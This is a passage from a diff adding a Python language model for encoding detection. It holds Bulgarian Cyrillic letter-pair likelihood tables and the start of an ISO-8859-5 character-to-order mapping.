0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 3, # 'и' + 26: 3, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 3, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 3, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 13: { # 'п' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 7: { # 'р' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 3, # 'е' + 23: 3, # 'ж' + 15: 2, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 3, # 'х' + 22: 3, # 'ц' + 21: 2, # 'ч' + 27: 3, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 8: { # 'с' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 2, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 2, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 5: { # 'т' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 2, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 3, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 3, # 'ъ' + 52: 2, # 'ь' + 42: 2, # 'ю' + 16: 3, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 19: { # 'у' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 2, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 2, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 3, # 'ш' + 24: 2, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 29: { # 'ф' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 2, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 25: { # 'х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 1, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 22: { # 'ц' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 21: { # 'ч' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 27: { # 'ш' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 3, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 3, # 'н' + 4: 2, # 'о' + 13: 2, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 24: { # 'щ' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 2, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 17: { # 'ъ' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 3, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 3, # 'ж' + 15: 3, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 3, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 2, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 2, # 'ш' + 24: 3, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 52: { # 'ь' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 1, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 42: { # 'ю' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 1, # 'в' + 20: 2, # 'г' + 11: 2, # 'д' + 3: 1, # 'е' + 23: 2, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 1, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 2, # 'ц' + 21: 3, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 16: { # 'я' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 3, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 3, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 2, # 'з' + 2: 1, # 'и' + 26: 2, # 'й' + 12: 3, # 'к' + 10: 3, # 'л' + 14: 3, # 'м' + 6: 3, # 'н' + 4: 1, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 3, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 3, # 'х' + 22: 2, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 58: { # 'є' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 62: { # '№' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 0, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 0, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 0, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +ISO_8859_5_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, 